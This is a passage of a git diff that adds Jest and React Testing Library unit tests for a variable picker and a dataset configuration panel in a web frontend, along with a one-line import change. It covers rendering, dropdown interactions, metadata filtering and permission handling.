+    it('should apply custom className to wrapper', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        className: 'custom-class',
+      }
+
+      // Act
+      const { container } = render(<VarPicker {...props} />)
+
+      // Assert
+      expect(container.querySelector('.custom-class')).toBeInTheDocument()
+    })
+
+    it('should apply custom triggerClassName to trigger button', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        triggerClassName: 'custom-trigger-class',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toHaveClass('custom-trigger-class')
+    })
+
+    it('should display selected value with proper formatting', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: 'customVar',
+        options: [
+          { name: 'Custom Variable', value: 'customVar', type: 'string' },
+        ],
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('customVar')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should open dropdown when clicking the trigger button', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+      await user.click(screen.getByTestId('portal-trigger'))
+
+      // Assert
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+
+    it('should call onChange and close dropdown when selecting an option', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Open dropdown
+      await user.click(screen.getByTestId('portal-trigger'))
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Select a different option
+      const options = screen.getAllByText('var2')
+      expect(options.length).toBeGreaterThan(0)
+      await user.click(options[0])
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('var2')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown when clicking trigger button multiple times', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Open dropdown
+      await user.click(trigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(trigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should initialize with closed dropdown', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown state on trigger click', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      const trigger = screen.getByTestId('portal-trigger')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+
+      // Open dropdown
+      await user.click(trigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(trigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should preserve selected value when dropdown is closed without selection', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Open and close dropdown without selecting anything
+      const trigger = screen.getByTestId('portal-trigger')
+      await user.click(trigger)
+      await user.click(trigger)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument() // Original value still displayed
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined value gracefully', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should handle empty options array', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [],
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle null value without crashing', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle variable names with special characters safely', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' },
+        ],
+        value: 'specialVar',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('specialVar')).toBeInTheDocument()
+    })
+
+    it('should handle long variable names', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'A very long variable name that should be truncated', value: 'longVar', type: 'string' },
+        ],
+        value: 'longVar',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('longVar')).toBeInTheDocument()
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/context-var/var-picker.tsx b/web/app/components/app/configuration/dataset-config/context-var/var-picker.tsx
index c443ea0b1f..f5ea2eaa27 100644
--- a/web/app/components/app/configuration/dataset-config/context-var/var-picker.tsx
+++ b/web/app/components/app/configuration/dataset-config/context-var/var-picker.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { ChevronDownIcon } from '@heroicons/react/24/outline'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/app/configuration/dataset-config/index.spec.tsx b/web/app/components/app/configuration/dataset-config/index.spec.tsx
new file mode 100644
index 0000000000..3c48eca206
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/index.spec.tsx
@@ -0,0 +1,1048 @@
+import { render, screen, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DatasetConfig from './index'
+import type { DataSet } from '@/models/datasets'
+import { DataSourceType, DatasetPermission } from '@/models/datasets'
+import { AppModeEnum } from '@/types/app'
+import { ModelModeType } from '@/types/app'
+import { RETRIEVE_TYPE } from '@/types/app'
+import { ComparisonOperator, LogicalOperator } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
+import type { DatasetConfigs } from '@/models/debug'
+
+// Mock external dependencies
+jest.mock('@/app/components/workflow/nodes/knowledge-retrieval/utils', () => ({
+  getMultipleRetrievalConfig: jest.fn(() => ({
+    top_k: 4,
+    score_threshold: 0.7,
+    reranking_enable: false,
+    reranking_model: undefined,
+    reranking_mode: 'reranking_model',
+    weights: { weight1: 1.0 },
+  })),
+  getSelectedDatasetsMode: jest.fn(() => ({
+    allInternal: true,
+    allExternal: false,
+    mixtureInternalAndExternal: false,
+    mixtureHighQualityAndEconomic: false,
+    inconsistentEmbeddingModel: false,
+  })),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useModelListAndDefaultModelAndCurrentProviderAndModel: jest.fn(() => ({
+    currentModel: { model: 'rerank-model' },
+    currentProvider: { provider: 'openai' },
+  })),
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useSelector: jest.fn((fn: any) => fn({
+    userProfile: {
+      id: 'user-123',
+    },
+  })),
+}))
+
+jest.mock('@/utils/permission', () => ({
+  hasEditPermissionForDataset: jest.fn(() => true),
+}))
+
+jest.mock('../debug/hooks', () => ({
+  useFormattingChangedDispatcher: jest.fn(() => jest.fn()),
+}))
+
+jest.mock('lodash-es', () => ({
+  intersectionBy: jest.fn((...arrays) => {
+    // Mock realistic intersection behavior based on metadata name
+    const validArrays = arrays.filter(Array.isArray)
+    if (validArrays.length === 0) return []
+
+    // Start with first array and filter down
+    return validArrays[0].filter((item: any) => {
+      if (!item || !item.name) return false
+
+      // Only return items that exist in all arrays
+      return validArrays.every(array =>
+        array.some((otherItem: any) =>
+          otherItem && otherItem.name === item.name,
+        ),
+      )
+    })
+  }),
+}))
+
+jest.mock('uuid', () => ({
+  v4: jest.fn(() => 'mock-uuid'),
+}))
+
+// Mock child components
+jest.mock('./card-item', () => ({
+  __esModule: true,
+  default: ({ config, onRemove, onSave, editable }: any) => (
+    <div data-testid={`card-item-${config.id}`}>
+      <span>{config.name}</span>
+      {editable && <button onClick={() => onSave(config)}>Edit</button>}
+      <button onClick={() => onRemove(config.id)}>Remove</button>
+    </div>
+  ),
+}))
+
+jest.mock('./params-config', () => ({
+  __esModule: true,
+  default: ({ disabled, selectedDatasets }: any) => (
+    <button data-testid="params-config" disabled={disabled}>
+      Params ({selectedDatasets.length})
+    </button>
+  ),
+}))
+
+jest.mock('./context-var', () => ({
+  __esModule: true,
+  default: ({ value, options, onChange }: any) => (
+    <select data-testid="context-var" value={value} onChange={e => onChange(e.target.value)}>
+      <option value="">Select context variable</option>
+      {options.map((opt: any) => (
+        <option key={opt.value} value={opt.value}>{opt.name}</option>
+      ))}
+    </select>
+  ),
+}))
+
+jest.mock('@/app/components/workflow/nodes/knowledge-retrieval/components/metadata/metadata-filter', () => ({
+  __esModule: true,
+  default: ({
+    metadataList,
+    metadataFilterMode,
+    handleMetadataFilterModeChange,
+    handleAddCondition,
+    handleRemoveCondition,
+    handleUpdateCondition,
+    handleToggleConditionLogicalOperator,
+  }: any) => (
+    <div data-testid="metadata-filter">
+      <span data-testid="metadata-list-count">{metadataList.length}</span>
+      <select value={metadataFilterMode} onChange={e => handleMetadataFilterModeChange(e.target.value)}>
+        <option value="disabled">Disabled</option>
+        <option value="automatic">Automatic</option>
+        <option value="manual">Manual</option>
+      </select>
+      <button onClick={() => handleAddCondition({ name: 'test', type: 'string' })}>
+        Add Condition
+      </button>
+      <button onClick={() => handleRemoveCondition('condition-id')}>
+        Remove Condition
+      </button>
+      <button onClick={() => handleUpdateCondition('condition-id', { name: 'updated' })}>
+        Update Condition
+      </button>
+      <button onClick={handleToggleConditionLogicalOperator}>
+        Toggle Operator
+      </button>
+    </div>
+  ),
+}))
+
+// Mock context
+const mockConfigContext: any = {
+  mode: AppModeEnum.CHAT,
+  modelModeType: ModelModeType.chat,
+  isAgent: false,
+  dataSets: [],
+  setDataSets: jest.fn(),
+  modelConfig: {
+    configs: {
+      prompt_variables: [],
+    },
+  },
+  setModelConfig: jest.fn(),
+  showSelectDataSet: jest.fn(),
+  datasetConfigs: {
+    retrieval_model: RETRIEVE_TYPE.multiWay,
+    reranking_model: {
+      reranking_provider_name: '',
+      reranking_model_name: '',
+    },
+    top_k: 4,
+    score_threshold_enabled: false,
+    score_threshold: 0.7,
+    metadata_filtering_mode: 'disabled' as any,
+    metadata_filtering_conditions: undefined,
+    datasets: {
+      datasets: [],
+    },
+  } as DatasetConfigs,
+  datasetConfigsRef: {
+    current: {
+      retrieval_model: RETRIEVE_TYPE.multiWay,
+      reranking_model: {
+        reranking_provider_name: '',
+        reranking_model_name: '',
+      },
+      top_k: 4,
+      score_threshold_enabled: false,
+      score_threshold: 0.7,
+      metadata_filtering_mode: 'disabled' as any,
+      metadata_filtering_conditions: undefined,
+      datasets: {
+        datasets: [],
+      },
+    } as DatasetConfigs,
+  },
+  setDatasetConfigs: jest.fn(),
+  setRerankSettingModalOpen: jest.fn(),
+}
+
+jest.mock('@/context/debug-configuration', () => ({
+  __esModule: true,
+  default: ({ children }: any) => (
+    <div data-testid="config-context-provider">
+      {children}
+    </div>
+  ),
+}))
+
+jest.mock('use-context-selector', () => ({
+  useContext: jest.fn(() => mockConfigContext),
+}))
+
+const createMockDataset = (overrides: Partial<DataSet> = {}): DataSet => {
+  const defaultDataset: DataSet = {
+    id: 'dataset-1',
+    name: 'Test Dataset',
+    indexing_status: 'completed' as any,
+    icon_info: {
+      icon: '📘',
+      icon_type: 'emoji',
+      icon_background: '#FFEAD5',
+      icon_url: '',
+    },
+    description: 'Test dataset description',
+    permission: DatasetPermission.onlyMe,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: 'high_quality' as any,
+    author_name: 'Test Author',
+    created_by: 'user-123',
+    updated_by: 'user-123',
+    updated_at: Date.now(),
+    app_count: 0,
+    doc_form: 'text' as any,
+    document_count: 10,
+    total_document_count: 10,
+    total_available_documents: 10,
+    word_count: 1000,
+    provider: 'dify',
+    embedding_model: 'text-embedding-ada-002',
+    embedding_model_provider: 'openai',
+    embedding_available: true,
+    retrieval_model_dict: {
+      search_method: 'semantic_search' as any,
+      reranking_enable: false,
+      reranking_model: {
+        reranking_provider_name: '',
+        reranking_model_name: '',
+      },
+      top_k: 4,
+      score_threshold_enabled: false,
+      score_threshold: 0.7,
+    },
+    retrieval_model: {
+      search_method: 'semantic_search' as any,
+      reranking_enable: false,
+      reranking_model: {
+        reranking_provider_name: '',
+        reranking_model_name: '',
+      },
+      top_k: 4,
+      score_threshold_enabled: false,
+      score_threshold: 0.7,
+    },
+    tags: [],
+    external_knowledge_info: {
+      external_knowledge_id: '',
+      external_knowledge_api_id: '',
+      external_knowledge_api_name: '',
+      external_knowledge_api_endpoint: '',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: true,
+    },
+    built_in_field_enabled: true,
+    doc_metadata: [
+      { name: 'category', type: 'string' } as any,
+      { name: 'priority', type: 'number' } as any,
+    ],
+    keyword_number: 3,
+    pipeline_id: 'pipeline-123',
+    is_published: true,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...overrides,
+  }
+  return defaultDataset
+}
+
+const renderDatasetConfig = (contextOverrides: Partial<typeof mockConfigContext> = {}) => {
+  const useContextSelector = require('use-context-selector').useContext
+  const mergedContext = { ...mockConfigContext, ...contextOverrides }
+  useContextSelector.mockReturnValue(mergedContext)
+
+  return render(<DatasetConfig />)
+}
+
+describe('DatasetConfig', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockConfigContext.dataSets = []
+    mockConfigContext.setDataSets = jest.fn()
+    mockConfigContext.setModelConfig = jest.fn()
+    mockConfigContext.setDatasetConfigs = jest.fn()
+    mockConfigContext.setRerankSettingModalOpen = jest.fn()
+  })
+
+  describe('Rendering', () => {
+    it('should render dataset configuration panel when component mounts', () => {
+      renderDatasetConfig()
+
+      expect(screen.getByText('appDebug.feature.dataSet.title')).toBeInTheDocument()
+    })
+
+    it('should display empty state message when no datasets are configured', () => {
+      renderDatasetConfig()
+
+      expect(screen.getByText(/no.*data/i)).toBeInTheDocument()
+      expect(screen.getByTestId('params-config')).toBeDisabled()
+    })
+
+    it('should render dataset cards and enable parameters when datasets exist', () => {
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+      expect(screen.getByText(dataset.name)).toBeInTheDocument()
+      expect(screen.getByTestId('params-config')).not.toBeDisabled()
+    })
+
+    it('should show configuration title and add dataset button in header', () => {
+      renderDatasetConfig()
+
+      expect(screen.getByText('appDebug.feature.dataSet.title')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.add')).toBeInTheDocument()
+    })
+
+    it('should hide parameters configuration when in agent mode', () => {
+      renderDatasetConfig({
+        isAgent: true,
+      })
+
+      expect(screen.queryByTestId('params-config')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Dataset Management', () => {
+    it('should open dataset selection modal when add button is clicked', async () => {
+      const user = userEvent.setup()
+      renderDatasetConfig()
+
+      const addButton = screen.getByText('common.operation.add')
+      await user.click(addButton)
+
+      expect(mockConfigContext.showSelectDataSet).toHaveBeenCalledTimes(1)
+    })
+
+    it('should remove dataset and update configuration when remove button is clicked', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      const removeButton = screen.getByText('Remove')
+      await user.click(removeButton)
+
+      expect(mockConfigContext.setDataSets).toHaveBeenCalledWith([])
+      // Note: setDatasetConfigs is also called but its exact parameters depend on
+      // the retrieval config calculation which involves complex mocked utilities
+    })
+
+    it('should trigger rerank setting modal when removing dataset requires rerank configuration', async () => {
+      const user = userEvent.setup()
+      const { getSelectedDatasetsMode } = require('@/app/components/workflow/nodes/knowledge-retrieval/utils')
+
+      // Mock scenario that triggers rerank modal
+      getSelectedDatasetsMode.mockReturnValue({
+        allInternal: false,
+        allExternal: true,
+        mixtureInternalAndExternal: false,
+        mixtureHighQualityAndEconomic: false,
+        inconsistentEmbeddingModel: false,
+      })
+
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      const removeButton = screen.getByText('Remove')
+      await user.click(removeButton)
+
+      expect(mockConfigContext.setRerankSettingModalOpen).toHaveBeenCalledWith(true)
+    })
+
+    it('should handle dataset save', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      // Mock the onSave in card-item component - it will pass the original dataset
+      const editButton = screen.getByText('Edit')
+      await user.click(editButton)
+
+      expect(mockConfigContext.setDataSets).toHaveBeenCalledWith(
+        expect.arrayContaining([
+          expect.objectContaining({
+            id: dataset.id,
+            name: dataset.name,
+            editable: true,
+          }),
+        ]),
+      )
+    })
+
+    it('should format datasets with edit permission', () => {
+      const dataset = createMockDataset({
+        created_by: 'user-123',
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+    })
+  })
+
+  describe('Context Variables', () => {
+    it('should show context variable selector in completion mode with datasets', () => {
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        mode: AppModeEnum.COMPLETION,
+        dataSets: [dataset],
+        modelConfig: {
+          configs: {
+            prompt_variables: [
+              { key: 'query', name: 'Query', type: 'string', is_context_var: false },
+              { key: 'context', name: 'Context', type: 'string', is_context_var: true },
+            ],
+          },
+        },
+      })
+
+      expect(screen.getByTestId('context-var')).toBeInTheDocument()
+      // Should find the selected context variable in the options
+      expect(screen.getByText('Select context variable')).toBeInTheDocument()
+    })
+
+    it('should not show context variable selector in chat mode', () => {
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        mode: AppModeEnum.CHAT,
+        dataSets: [dataset],
+        modelConfig: {
+          configs: {
+            prompt_variables: [
+              { key: 'query', name: 'Query', type: 'string', is_context_var: false },
+            ],
+          },
+        },
+      })
+
+      expect(screen.queryByTestId('context-var')).not.toBeInTheDocument()
+    })
+
+    it('should handle context variable selection', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+      renderDatasetConfig({
+        mode: AppModeEnum.COMPLETION,
+        dataSets: [dataset],
+        modelConfig: {
+          configs: {
+            prompt_variables: [
+              { key: 'query', name: 'Query', type: 'string', is_context_var: false },
+              { key: 'context', name: 'Context', type: 'string', is_context_var: true },
+            ],
+          },
+        },
+      })
+
+      const select = screen.getByTestId('context-var')
+      await user.selectOptions(select, 'query')
+
+      expect(mockConfigContext.setModelConfig).toHaveBeenCalled()
+    })
+  })
+
+  describe('Metadata Filtering', () => {
+    it('should render metadata filter component', () => {
+      const dataset = createMockDataset({
+        doc_metadata: [
+          { name: 'category', type: 'string' } as any,
+          { name: 'priority', type: 'number' } as any,
+        ],
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+      expect(screen.getByTestId('metadata-list-count')).toHaveTextContent('2') // both 'category' and 'priority'
+    })
+
+    it('should handle metadata filter mode change', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+      const updatedDatasetConfigs = {
+        ...mockConfigContext.datasetConfigs,
+        metadata_filtering_mode: 'disabled' as any,
+      }
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: updatedDatasetConfigs,
+      })
+
+      // Update the ref to match
+      mockConfigContext.datasetConfigsRef.current = updatedDatasetConfigs
+
+      const select = within(screen.getByTestId('metadata-filter')).getByDisplayValue('Disabled')
+      await user.selectOptions(select, 'automatic')
+
+      expect(mockConfigContext.setDatasetConfigs).toHaveBeenCalledWith(
+        expect.objectContaining({
+          metadata_filtering_mode: 'automatic',
+        }),
+      )
+    })
+
+    it('should handle adding metadata conditions', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+      const baseDatasetConfigs = {
+        ...mockConfigContext.datasetConfigs,
+      }
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: baseDatasetConfigs,
+      })
+
+      // Update the ref to match
+      mockConfigContext.datasetConfigsRef.current = baseDatasetConfigs
+
+      const addButton = within(screen.getByTestId('metadata-filter')).getByText('Add Condition')
+      await user.click(addButton)
+
+      expect(mockConfigContext.setDatasetConfigs).toHaveBeenCalledWith(
+        expect.objectContaining({
+          metadata_filtering_conditions: expect.objectContaining({
+            logical_operator: LogicalOperator.and,
+            conditions: expect.arrayContaining([
+              expect.objectContaining({
+                id: 'mock-uuid',
+                name: 'test',
+                comparison_operator: ComparisonOperator.is,
+              }),
+            ]),
+          }),
+        }),
+      )
+    })
+
+    it('should handle removing metadata conditions', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+
+      const datasetConfigsWithConditions = {
+        ...mockConfigContext.datasetConfigs,
+        metadata_filtering_conditions: {
+          logical_operator: LogicalOperator.and,
+          conditions: [
+            { id: 'condition-id', name: 'test', comparison_operator: ComparisonOperator.is },
+          ],
+        },
+      }
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: datasetConfigsWithConditions,
+      })
+
+      // Update ref to match datasetConfigs
+      mockConfigContext.datasetConfigsRef.current = datasetConfigsWithConditions
+
+      const removeButton = within(screen.getByTestId('metadata-filter')).getByText('Remove Condition')
+      await user.click(removeButton)
+
+      expect(mockConfigContext.setDatasetConfigs).toHaveBeenCalledWith(
+        expect.objectContaining({
+          metadata_filtering_conditions: expect.objectContaining({
+            conditions: [],
+          }),
+        }),
+      )
+    })
+
+    it('should handle updating metadata conditions', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+
+      const datasetConfigsWithConditions = {
+        ...mockConfigContext.datasetConfigs,
+        metadata_filtering_conditions: {
+          logical_operator: LogicalOperator.and,
+          conditions: [
+            { id: 'condition-id', name: 'test', comparison_operator: ComparisonOperator.is },
+          ],
+        },
+      }
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: datasetConfigsWithConditions,
+      })
+
+      mockConfigContext.datasetConfigsRef.current = datasetConfigsWithConditions
+
+      const updateButton = within(screen.getByTestId('metadata-filter')).getByText('Update Condition')
+      await user.click(updateButton)
+
+      expect(mockConfigContext.setDatasetConfigs).toHaveBeenCalledWith(
+        expect.objectContaining({
+          metadata_filtering_conditions: expect.objectContaining({
+            conditions: expect.arrayContaining([
+              expect.objectContaining({
+                name: 'updated',
+              }),
+            ]),
+          }),
+        }),
+      )
+    })
+
+    it('should handle toggling logical operator', async () => {
+      const user = userEvent.setup()
+      const dataset = createMockDataset()
+
+      const datasetConfigsWithConditions = {
+        ...mockConfigContext.datasetConfigs,
+        metadata_filtering_conditions: {
+          logical_operator: LogicalOperator.and,
+          conditions: [
+            { id: 'condition-id', name: 'test', comparison_operator: ComparisonOperator.is },
+          ],
+        },
+      }
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: datasetConfigsWithConditions,
+      })
+
+      mockConfigContext.datasetConfigsRef.current = datasetConfigsWithConditions
+
+      const toggleButton = within(screen.getByTestId('metadata-filter')).getByText('Toggle Operator')
+      await user.click(toggleButton)
+
+      expect(mockConfigContext.setDatasetConfigs).toHaveBeenCalledWith(
+        expect.objectContaining({
+          metadata_filtering_conditions: expect.objectContaining({
+            logical_operator: LogicalOperator.or,
+          }),
+        }),
+      )
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle null doc_metadata gracefully', () => {
+      const dataset = createMockDataset({
+        doc_metadata: undefined,
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+      expect(screen.getByTestId('metadata-list-count')).toHaveTextContent('0')
+    })
+
+    it('should handle empty doc_metadata array', () => {
+      const dataset = createMockDataset({
+        doc_metadata: [],
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+      expect(screen.getByTestId('metadata-list-count')).toHaveTextContent('0')
+    })
+
+    it('should handle missing userProfile', () => {
+      const useSelector = require('@/context/app-context').useSelector
+      useSelector.mockImplementation((fn: any) => fn({ userProfile: null }))
+
+      const dataset = createMockDataset()
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+    })
+
+    it('should handle missing datasetConfigsRef gracefully', () => {
+      const dataset = createMockDataset()
+
+      // Test with undefined datasetConfigsRef - component renders without immediate error
+      // The component will fail on interaction due to non-null assertions in handlers
+      expect(() => {
+        renderDatasetConfig({
+          dataSets: [dataset],
+          datasetConfigsRef: undefined as any,
+        })
+      }).not.toThrow()
+
+      // The component currently expects datasetConfigsRef to exist for interactions
+      // This test documents the current behavior and requirements
+    })
+
+    it('should handle missing prompt_variables', () => {
+      // Context var is only shown when datasets exist AND there are prompt_variables
+      // Test with no datasets to ensure context var is not shown
+      renderDatasetConfig({
+        mode: AppModeEnum.COMPLETION,
+        dataSets: [],
+        modelConfig: {
+          configs: {
+            prompt_variables: [],
+          },
+        },
+      })
+
+      expect(screen.queryByTestId('context-var')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Component Integration', () => {
+    it('should integrate with card item component', () => {
+      const datasets = [
+        createMockDataset({ id: 'ds1', name: 'Dataset 1' }),
+        createMockDataset({ id: 'ds2', name: 'Dataset 2' }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      expect(screen.getByTestId('card-item-ds1')).toBeInTheDocument()
+      expect(screen.getByTestId('card-item-ds2')).toBeInTheDocument()
+      expect(screen.getByText('Dataset 1')).toBeInTheDocument()
+      expect(screen.getByText('Dataset 2')).toBeInTheDocument()
+    })
+
+    it('should integrate with params config component', () => {
+      const datasets = [
+        createMockDataset(),
+        createMockDataset({ id: 'ds2' }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      const paramsConfig = screen.getByTestId('params-config')
+      expect(paramsConfig).toBeInTheDocument()
+      expect(paramsConfig).toHaveTextContent('Params (2)')
+      expect(paramsConfig).not.toBeDisabled()
+    })
+
+    it('should integrate with metadata filter component', () => {
+      const datasets = [
+        createMockDataset({
+          doc_metadata: [
+            { name: 'category', type: 'string' } as any,
+            { name: 'tags', type: 'string' } as any,
+          ],
+        }),
+        createMockDataset({
+          id: 'ds2',
+          doc_metadata: [
+            { name: 'category', type: 'string' } as any,
+            { name: 'priority', type: 'number' } as any,
+          ],
+        }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      const metadataFilter = screen.getByTestId('metadata-filter')
+      expect(metadataFilter).toBeInTheDocument()
+      // Should show intersection (only 'category')
+      expect(screen.getByTestId('metadata-list-count')).toHaveTextContent('1')
+    })
+  })
+
+  describe('Model Configuration', () => {
+    it('should handle metadata model change', () => {
+      const dataset = createMockDataset()
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: {
+          ...mockConfigContext.datasetConfigs,
+          metadata_model_config: {
+            provider: 'openai',
+            name: 'gpt-3.5-turbo',
+            mode: AppModeEnum.CHAT,
+            completion_params: { temperature: 0.7 },
+          },
+        },
+      })
+
+      // The component would need to expose this functionality through the metadata filter
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+    })
+
+    it('should handle metadata completion params change', () => {
+      const dataset = createMockDataset()
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+        datasetConfigs: {
+          ...mockConfigContext.datasetConfigs,
+          metadata_model_config: {
+            provider: 'openai',
+            name: 'gpt-3.5-turbo',
+            mode: AppModeEnum.CHAT,
+            completion_params: { temperature: 0.5, max_tokens: 100 },
+          },
+        },
+      })
+
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+    })
+  })
+
+  describe('Permission Handling', () => {
+    it('should hide edit options when user lacks permission', () => {
+      const { hasEditPermissionForDataset } = require('@/utils/permission')
+      hasEditPermissionForDataset.mockReturnValue(false)
+
+      const dataset = createMockDataset({
+        created_by: 'other-user',
+        permission: DatasetPermission.onlyMe,
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      // The editable property should be false when no permission
+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+    })
+
+    it('should show readonly state for non-editable datasets', () => {
+      const { hasEditPermissionForDataset } = require('@/utils/permission')
+      hasEditPermissionForDataset.mockReturnValue(false)
+
+      const dataset = createMockDataset({
+        created_by: 'admin',
+        permission: DatasetPermission.allTeamMembers,
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
